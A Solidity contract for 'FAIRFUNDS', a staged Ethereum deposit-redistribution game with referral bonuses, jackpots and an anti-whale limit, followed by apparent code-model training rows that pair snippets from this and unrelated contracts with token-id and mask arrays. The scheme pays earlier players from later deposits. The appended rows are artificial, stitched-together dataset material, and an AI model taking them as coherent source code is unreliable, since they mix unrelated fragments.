* \ \ \__/\ \ \\\ \ \ \\ \ \ \ \_|\ \ \ \___|_
* \ \ __\\ \ \\\ \ \ \\ \ \ \ \ \\ \ \_____ \
* \ \ \_| \ \ \\\ \ \ \\ \ \ \ \_\\ \|____|\ \
* \ \__\ \ \_______\ \__\\ \__\ \_______\____\_\ \
* \|__| \|_______|\|__| \|__|\|_______|\_________\
* \|_________|
*
* https://fundingsecured.me/fair/
*
*
* Warning:
*
* FAIR FUNDS is a game system built on FUNDING SECURED, using infinite loops of token redistribution through open source smart contract codes and pre-defined rules.
* This system is for internal use only and all could be lost by sending anything to this contract address.
* No one can change anything once the contract has been deployed.
* Built in Antiwhale for initial stages for a fairer system.
*
* Official Website: https://fundingsecured.me/
* Official Exchange: https://fundingsecured.me/exchange
* Official Discord: https://discordapp.com/invite/3FrBqBa
* Official Twitter: https://twitter.com/FundingSecured_
* Official Telegram: https://t.me/fundingsecured
*
**/
contract FAIRFUNDS {
using SafeMath for uint256;
/*------------------------------
CONFIGURABLES
------------------------------*/
string public name = "FAIRFUNDS"; // Contract name
string public symbol = "FAIRFUNDS";
uint256 public initAmount; // Initial stage target
uint256 public amountProportion; // Stage target growth rate %
uint256 public dividend; // Input to Dividend %
uint256 public jackpot; // Input to Jackpot %
uint256 public jackpotProportion; // Jackpot payout %
uint256 public fundsTokenDividend; // Dividend fee % to FUNDS token holders
uint256 public promotionRatio; // Promotion %
uint256 public duration; // Duration per stage
bool public activated = false;
address public developerAddr;
address public fundsDividendAddr;
/*------------------------------
DATASETS
------------------------------*/
uint256 public rId; // Current round id number
uint256 public sId; // Current stage id number
mapping (uint256 => Indatasets.Round) public round; // (rId => data) round data by round id
mapping (uint256 => mapping (uint256 => Indatasets.Stage)) public stage; // (rId => sId => data) stage data by round id & stage id
mapping (address => Indatasets.Player) public player; // (address => data) player data
mapping (uint256 => mapping (address => uint256)) public playerRoundAmount; // (rId => address => playerRoundAmount) round data by round id
mapping (uint256 => mapping (address => uint256)) public playerRoundSid;
mapping (uint256 => mapping (address => uint256)) public playerRoundwithdrawAmountFlag;
mapping (uint256 => mapping (uint256 => mapping (address => uint256))) public playerStageAmount; // (rId => sId => address => playerStageAmount) round data by round id & stage id
mapping (uint256 => mapping (uint256 => mapping (address => uint256))) public playerStageAccAmount;
//Antiwhale setting, max 5% of stage target for the first 10 stages per address
uint256[] amountLimit = [0, 250, 250, 250, 250, 250, 250, 250, 250, 250, 250];
/*------------------------------
PUBLIC FUNCTIONS
------------------------------*/
constructor()
public
{
developerAddr = msg.sender;
fundsDividendAddr = 0xd529ADaE263048f495A05B858c8E7C077F047813;
}
/*------------------------------
MODIFIERS
------------------------------*/
modifier isActivated() {
require(activated == true, "its not ready yet. check ?eta in discord");
_;
}
modifier senderVerify() {
require (msg.sender == tx.origin);
_;
}
modifier stageVerify(uint256 _rId, uint256 _sId, uint256 _amount) {
require(stage[_rId][_sId].amount.add(_amount) <= stage[_rId][_sId].targetAmount);
_;
}
/**
* Don't toy or spam the contract.
*/
modifier amountVerify() {
require(msg.value >= 100000000000000);
_;
}
modifier playerVerify() {
require(player[msg.sender].active == true);
_;
}
/**
* Activation of contract with settings
*/
function activate()
public
{
require(msg.sender == developerAddr);
require(activated == false, "FUNDS already activated");
activated = true;
initAmount = 10000000000000000000;
amountProportion = 10;
dividend = 70;
jackpot = 20;
jackpotProportion = 70;
fundsTokenDividend = 10;
promotionRatio = 10;
duration = 15600;
rId = 1;
sId = 1;
round[rId].start = now;
initStage(rId, sId);
}
/**
* Fallback function to handle ethereum that was send straight to the contract
* Unfortunately we cannot use a referral address this way.
*/
function()
isActivated()
senderVerify()
amountVerify()
payable
public
{
buyAnalysis(0x0);
}
/**
* Standard buy function.
*/
function buy(address _recommendAddr)
isActivated()
senderVerify()
amountVerify()
public
payable
returns(uint256)
{
buyAnalysis(_recommendAddr);
}
/**
* Withdraw function.
* Withdraw 50 stages at once on current settings.
* May require to request withdraw more than once to withdraw everything.
*/
function withdraw()
isActivated()
senderVerify()
playerVerify()
public
{
uint256 _rId = rId;
uint256 _sId = sId;
uint256 _amount;
uint256 _playerWithdrawAmountFlag;
(_amount, player[msg.sender].withdrawRid, player[msg.sender].withdrawSid, _playerWithdrawAmountFlag) = getPlayerDividendByStage(_rId, _sId, msg.sender);
if(_playerWithdrawAmountFlag > 0)
playerRoundwithdrawAmountFlag[player[msg.sender].withdrawRid][msg.sender] = _playerWithdrawAmountFlag;
if(player[msg.sender].promotionAmount > 0 ){
_amount = _amount.add(player[msg.sender].promotionAmount);
player[msg.sender].promotionAmount = 0;
}
msg.sender.transfer(_amount);
}
/**
* Core logic to analyse buy behaviour.
*/
function buyAnalysis(address _recommendAddr)
private
{
uint256 _rId = rId;
uint256 _sId = sId;
uint256 _amount = msg.value;
uint256 _promotionRatio = promotionRatio;
if(now > stage[_rId][_sId].end && stage[_rId][_sId].targetAmount > stage[_rId][_sId].amount){
endRound(_rId, _sId);
_rId = rId;
_sId = sId;
round[_rId].start = now;
initStage(_rId, _sId);
_amount = limitAmount(_rId, _sId);
buyRoundDataRecord(_rId, _amount);
_promotionRatio = promotionDataRecord(_recommendAddr, _amount);
buyStageDataRecord(_rId, _sId, _promotionRatio, _amount);
buyPlayerDataRecord(_rId, _sId, _amount);
}else if(now <= stage[_rId][_sId].end){
_amount = limitAmount(_rId, _sId);
buyRoundDataRecord(_rId, _amount);
_promotionRatio = promotionDataRecord(_recommendAddr, _amount);
if(stage[_rId][_sId].amount.add(_amount) >= stage[_rId][_sId].targetAmount){
uint256 differenceAmount = (stage[_rId][_sId].targetAmount).sub(stage[_rId][_sId].amount);
buyStageDataRecord(_rId, _sId, _promotionRatio, differenceAmount);
buyPlayerDataRecord(_rId, _sId, differenceAmount);
endStage(_rId, _sId);
_sId = sId;
initStage(_rId, _sId);
round[_rId].endSid = _sId;
buyStageDataRecord(_rId, _sId, _promotionRatio, _amount.sub(differenceAmount));
buyPlayerDataRecord(_rId, _sId, _amount.sub(differenceAmount));
}else{
buyStageDataRecord(_rId, _sId, _promotionRatio, _amount);
buyPlayerDataRecord(_rId, _sId, _amount);
}
}
}
/**
* Sets the initial stage parameter.
*/
function initStage(uint256 _rId, uint256 _sId)
private
{
uint256 _targetAmount;
stage[_rId][_sId].start = now;
stage[_rId][_sId].end = now.add(duration);
if(_sId > 1){
stage[_rId][_sId - 1].end = now;
stage[_rId][_sId - 1].ended = true;
_targetAmount = (stage[_rId][_sId - 1].targetAmount.mul(amountProportion + 100)) / 100;
}else
_targetAmount = initAmount;
stage[_rId][_sId].targetAmount = _targetAmount;
}
/**
* Execution of antiwhale.
*/
function limitAmount(uint256 _rId, uint256 _sId)
private
returns(uint256)
{
uint256 _amount = msg.value;
if(amountLimit.length > _sId)
_amount = ((stage[_rId][_sId].targetAmount.mul(amountLimit[_sId])) / 1000).sub(playerStageAmount[_rId][_sId][msg.sender]);
else
_amount = ((stage[_rId][_sId].targetAmount.mul(500)) / 1000).sub(playerStageAmount[_rId][_sId][msg.sender]);
if(_amount >= msg.value)
return msg.value;
else
msg.sender.transfer(msg.value.sub(_amount));
return _amount;
}
/**
* Record the addresses eligible for promotion links.
*/
function promotionDataRecord(address _recommendAddr, uint256 _amount)
private
returns(uint256)
{
uint256 _promotionRatio = promotionRatio;
if(_recommendAddr != 0x0000000000000000000000000000000000000000
&& _recommendAddr != msg.sender
&& player[_recommendAddr].active == true
)
player[_recommendAddr].promotionAmount = player[_recommendAddr].promotionAmount.add((_amount.mul(_promotionRatio)) / 100);
else
_promotionRatio = 0;
return _promotionRatio;
}
/**
* Records the round data.
*/
function buyRoundDataRecord(uint256 _rId, uint256 _amount)
private
{
round[_rId].amount = round[_rId].amount.add(_amount);
fundsDividendAddr.transfer(_amount.mul(fundsTokenDividend) / 100);
}
/**
* Records the stage data.
*/
function buyStageDataRecord(uint256 _rId, uint256 _sId, uint256 _promotionRatio, uint256 _amount)
stageVerify(_rId, _sId, _amount)
private
{
if(_amount <= 0)
return;
stage[_rId][_sId].amount = stage[_rId][_sId].amount.add(_amount);
stage[_rId][_sId].dividendAmount = stage[_rId][_sId].dividendAmount.add((_amount.mul(dividend.sub(_promotionRatio))) / 100);
}
/**
* Records the player data.
*/
function buyPlayerDataRecord(uint256 _rId, uint256 _sId, uint256 _amount)
private
{
if(_amount <= 0)
return;
if(player[msg.sender].active == false){
player[msg.sender].active = true;
player[msg.sender].withdrawRid = _rId;
player[msg.sender].withdrawSid = _sId;
}
if(playerRoundAmount[_rId][msg.sender] == 0){
round[_rId].players++;
playerRoundSid[_rId][msg.sender] = _sId;
}
if(playerStageAmount[_rId][_sId][msg.sender] == 0)
stage[_rId][_sId].players++;
playerRoundAmount[_rId][msg.sender] = playerRoundAmount[_rId][msg.sender].add(_amount);
playerStageAmount[_rId][_sId][msg.sender] = playerStageAmount[_rId][_sId][msg.sender].add(_amount);
player[msg.sender].amount = player[msg.sender].amount.add(_amount);
if(playerRoundSid[_rId][msg.sender] > 0){
if(playerStageAccAmount[_rId][_sId][msg.sender] == 0){
for(uint256 i = playerRoundSid[_rId][msg.sender]; i < _sId; i++){
if(playerStageAmount[_rId][i][msg.sender] > 0)
playerStageAccAmount[_rId][_sId][msg.sender] = playerStageAccAmount[_rId][_sId][msg.sender].add(playerStageAmount[_rId][i][msg.sender]);
}
}
playerStageAccAmount[_rId][_sId][msg.sender] = playerStageAccAmount[_rId][_sId][msg.sender].add(_amount);
}
}
/**
* Execute end of round events.
*/
function endRound(uint256 _rId, uint256 _sId)
private
{
round[_rId].end = now;
round[_rId].ended = true;
round[_rId].endSid = _sId;
stage[_rId][_sId].end = now;
stage[_rId][_sId].ended = true;
if(stage[_rId][_sId].players == 0)
round[_rId + 1].jackpotAmount = round[_rId + 1].jackpotAmount.add(round[_rId].jackpotAmount);
else
round[_rId + 1].jackpotAmount = round[_rId + 1].jackpotAmount.add(round[_rId].jackpotAmount.mul(100 - jackpotProportion) / 100);
rId++;
sId = 1;
}
/**
* Execute end of stage events.
*/
function endStage(uint256 _rId, uint256 _sId)
private
{
uint256 _jackpotAmount = stage[_rId][_sId].amount.mul(jackpot) / 100;
round[_rId].endSid = _sId;
round[_rId].jackpotAmount = round[_rId].jackpotAmount.add(_jackpotAmount);
stage[_rId][_sId].end = now;
stage[_rId][_sId].ended = true;
if(_sId > 1)
stage[_rId][_sId].accAmount = stage[_rId][_sId].targetAmount.add(stage[_rId][_sId - 1].accAmount);
else
stage[_rId][_sId].accAmount = stage[_rId][_sId].targetAmount;
sId++;
}
/**
* Precalculations for withdraws to conserve gas.
*/
function getPlayerDividendByStage(uint256 _rId, uint256 _sId, address _playerAddr)
private
view
returns(uint256, uint256, uint256, uint256)
{
uint256 _dividend;
uint256 _stageNumber;
uint256 _startSid;
uint256 _playerAmount;
for(uint256 i = player[_playerAddr].withdrawRid; i <= _rId; i++){
if(playerRoundAmount[i][_playerAddr] == 0)
continue;
_playerAmount = 0;
_startSid = i == player[_playerAddr].withdrawRid ? player[_playerAddr].withdrawSid : 1;
for(uint256 j = _startSid; j < round[i].endSid; j++){
if(playerStageAccAmount[i][j][_playerAddr] > 0)
_playerAmount = playerStageAccAmount[i][j][_playerAddr];
if(_playerAmount == 0)
_playerAmount = playerRoundwithdrawAmountFlag[i][_playerAddr];
if(_playerAmount == 0)
continue;
_dividend = _dividend.add(
(
_playerAmount.mul(stage[i][j].dividendAmount)
).div(stage[i][j].accAmount)
);
_stageNumber++;
if(_stageNumber >= 50)
return (_dividend, i, j + 1, _playerAmount);
}
if(round[i].ended == true
&& stage[i][round[i].endSid].amount > 0
&& playerStageAmount[i][round[i].endSid][_playerAddr] > 0
){
_dividend = _dividend.add(getPlayerJackpot(_playerAddr, i));
_stageNumber++;
if(_stageNumber >= 50)
return (_dividend, i + 1, 1, 0);
}
}
return (_dividend, _rId, _sId, _playerAmount);
}
/**
* Get player current withdrawable dividend.
*/
function getPlayerDividend(address _playerAddr)
public
view
returns(uint256)
{
uint256 _endRid = rId;
uint256 _startRid = player[_playerAddr].withdrawRid;
uint256 _startSid;
uint256 _dividend;
for(uint256 i = _startRid; i <= _endRid; i++){
if(i == _startRid)
_startSid = player[_playerAddr].withdrawSid;
else
_startSid = 1;
_dividend = _dividend.add(getPlayerDividendByRound(_playerAddr, i, _startSid));
}
return _dividend;
}
/**
* Get player data for rounds and stages.
*/
function getPlayerDividendByRound(address _playerAddr, uint256 _rId, uint256 _sId)
public
view
returns(uint256)
{
uint256 _dividend;
uint256 _startSid = _sId;
uint256 _endSid = round[_rId].endSid;
uint256 _playerAmount;
uint256 _totalAmount;
for(uint256 i = _startSid; i < _endSid; i++){
if(stage[_rId][i].ended == false)
continue;
_playerAmount = 0;
_totalAmount = 0;
for(uint256 j = 1; j <= i; j++){
if(playerStageAmount[_rId][j][_playerAddr] > 0)
_playerAmount = _playerAmount.add(playerStageAmount[_rId][j][_playerAddr]);
_totalAmount = _totalAmount.add(stage[_rId][j].amount);
}
if(_playerAmount == 0 || stage[_rId][i].dividendAmount == 0)
continue;
_dividend = _dividend.add((_playerAmount.mul(stage[_rId][i].dividendAmount)).div(_totalAmount));
}
if(round[_rId].ended == true)
_dividend = _dividend.add(getPlayerJackpot(_playerAddr, _rId));
return _dividend;
}
/**
* Get player data for jackpot winnings.
*/
function getPlayerJackpot(address _playerAddr, uint256 _rId)
public
view
returns(uint256)
{
uint256 _dividend;
if(round[_rId].ended == false)
return _dividend;
uint256 _endSid = round[_rId].endSid;
uint256 _playerStageAmount = playerStageAmount[_rId][_endSid][_playerAddr];
uint256 _stageAmount = stage[_rId][_endSid].amount;
if(_stageAmount <= 0)
return _dividend;
uint256 _jackpotAmount = round[_rId].jackpotAmount.mul(jackpotProportion) / 100;
uint256 _stageDividendAmount = stage[_rId][_endSid].dividendAmount;
uint256 _stageJackpotAmount = (_stageAmount.mul(jackpot) / 100).add(_stageDividendAmount);
_dividend = _dividend.add(((_playerStageAmount.mul(_jackpotAmount)).div(_stageAmount)));
_dividend = _dividend.add(((_playerStageAmount.mul(_stageJackpotAmount)).div(_stageAmount)));
return _dividend;
}
/**
* For frontend.
*/
function getHeadInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, bool)
{
return
(
rId,
sId,
round[rId].jackpotAmount,
stage[rId][sId].targetAmount,
stage[rId][sId].amount,
stage[rId][sId].end,
stage[rId][sId].ended
);
}
/**
* For frontend.
*/
function getPersonalStatus(address _playerAddr)
public
view
returns(uint256, uint256, uint256)
{
if (player[_playerAddr].active == true){
return
(
round[rId].jackpotAmount,
playerRoundAmount[rId][_playerAddr],
getPlayerDividendByRound(_playerAddr, rId, 1)
);
}else{
return
(
round[rId].jackpotAmount,
0,
0
);
}
}
/**
* For frontend.
*/
function getValueInfo(address _playerAddr)
public
view
returns(uint256, uint256)
{
if (player[_playerAddr].active == true){
return
(
getPlayerDividend(_playerAddr),
player[_playerAddr].promotionAmount
);
}else{
return
(
0,
0
);
}
}
}
library Indatasets {
struct Round {
uint256 start; // time round started
uint256 end; // time round ends/ended
bool ended; // has round end function been ran
uint256 endSid; // last stage for current round
uint256 amount; // Eth recieved for current round
uint256 jackpotAmount; // total jackpot for current round
uint256 players; // total players for current round
}
struct Stage {
uint256 start; // time stage started
uint256 end; // time strage ends/ended
bool ended; // has stage end function been ran
uint256 targetAmount; // amount needed for current stage
uint256 amount; // Eth received for current stage
uint256 dividendAmount; // total dividend for current stage
uint256 accAmount; // total accumulative amount for current stage
uint256 players; // total players for current stage
}
struct Player {
bool active; // Activation status of player, if false player has not been activated.
uint256 amount; // Total player input.
uint256 promotionAmount; // Total promotion amount of the player.
uint256 withdrawRid; // Last withdraw round of the player.
uint256 withdrawSid; // Last withdraw stage of the player.
}
}
/**
* @title SafeMath v0.1.9
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
assert(b <= a);
return a - b;
}
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev gives square root of given x.
*/
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
/**
* @dev gives square. multiplies x by x
*/
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
/**
* @dev x to the power of y
*/
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
}
|
* Records the round data./
|
function buyRoundDataRecord(uint256 _rId, uint256 _amount)
private
{
round[_rId].amount = round[_rId].amount.add(_amount);
fundsDividendAddr.transfer(_amount.mul(fundsTokenDividend) / 100);
}
| 7,944,807 |
[
1,
6499,
326,
3643,
501,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
30143,
11066,
751,
2115,
12,
11890,
5034,
389,
86,
548,
16,
2254,
5034,
389,
8949,
13,
203,
3639,
3238,
203,
565,
288,
203,
203,
3639,
3643,
63,
67,
86,
548,
8009,
8949,
273,
3643,
63,
67,
86,
548,
8009,
8949,
18,
1289,
24899,
8949,
1769,
203,
3639,
284,
19156,
7244,
26746,
3178,
18,
13866,
24899,
8949,
18,
16411,
12,
74,
19156,
1345,
7244,
26746,
13,
342,
2130,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x70F2D63F43174Ed08AaDaA7C3Db9740C140Cf543/sources/GeneralizedTCR.sol
|
* @dev Update the meta evidence used for disputes. @param _registrationMetaEvidence The meta evidence to be used for future registration request disputes. @param _clearingMetaEvidence The meta evidence to be used for future clearing request disputes./
|
function changeMetaEvidence(string calldata _registrationMetaEvidence, string calldata _clearingMetaEvidence) external onlyGovernor {
metaEvidenceUpdates++;
emit MetaEvidence(2 * metaEvidenceUpdates, _registrationMetaEvidence);
emit MetaEvidence(2 * metaEvidenceUpdates + 1, _clearingMetaEvidence);
}
| 3,687,608 |
[
1,
1891,
326,
2191,
14481,
1399,
364,
1015,
458,
281,
18,
282,
389,
14170,
2781,
30465,
1021,
2191,
14481,
358,
506,
1399,
364,
3563,
7914,
590,
1015,
458,
281,
18,
282,
389,
2131,
5968,
2781,
30465,
1021,
2191,
14481,
358,
506,
1399,
364,
3563,
29820,
590,
1015,
458,
281,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
2549,
2781,
30465,
12,
1080,
745,
892,
389,
14170,
2781,
30465,
16,
533,
745,
892,
389,
2131,
5968,
2781,
30465,
13,
3903,
1338,
43,
1643,
29561,
288,
203,
3639,
2191,
30465,
5121,
9904,
31,
203,
3639,
3626,
6565,
30465,
12,
22,
380,
2191,
30465,
5121,
16,
389,
14170,
2781,
30465,
1769,
203,
3639,
3626,
6565,
30465,
12,
22,
380,
2191,
30465,
5121,
397,
404,
16,
389,
2131,
5968,
2781,
30465,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/4/0xC16defC75de0586274a508DFFF5D1f28105a299A/sources/contracts/Marsh_Staking_Contract.sol
|
* @notice This unstake event can only be triggered by an admin. The indexer is immediately unstaked at the end of this bypassing lock-in period @param _indexerAddress the address of the indexer to unstake/
|
function EmergencyUnstake(address _indexerAddress) external onlyAdmin {
uint256 amtPayable = approvedIndexers[_indexerAddress].stakeAmount;
_unstakeFromIndexer(_indexerAddress, amtPayable);
emit EmergencyUnstakeEvent(_indexerAddress, msg.sender);
}
event UnstakeByIndexer(address indexed staker);
| 12,390,092 |
[
1,
2503,
640,
334,
911,
871,
848,
1338,
506,
10861,
635,
392,
3981,
18,
1021,
12635,
353,
7636,
640,
334,
9477,
622,
326,
679,
434,
333,
17587,
310,
2176,
17,
267,
3879,
225,
389,
24541,
1887,
282,
326,
1758,
434,
326,
12635,
358,
640,
334,
911,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
512,
6592,
75,
2075,
984,
334,
911,
12,
2867,
389,
24541,
1887,
13,
3903,
1338,
4446,
288,
203,
3639,
2254,
5034,
25123,
9148,
429,
273,
20412,
1016,
414,
63,
67,
24541,
1887,
8009,
334,
911,
6275,
31,
203,
3639,
389,
23412,
911,
1265,
20877,
24899,
24541,
1887,
16,
25123,
9148,
429,
1769,
203,
3639,
3626,
512,
6592,
75,
2075,
984,
334,
911,
1133,
24899,
24541,
1887,
16,
1234,
18,
15330,
1769,
203,
565,
289,
203,
203,
565,
871,
1351,
334,
911,
858,
20877,
12,
2867,
8808,
384,
6388,
1769,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
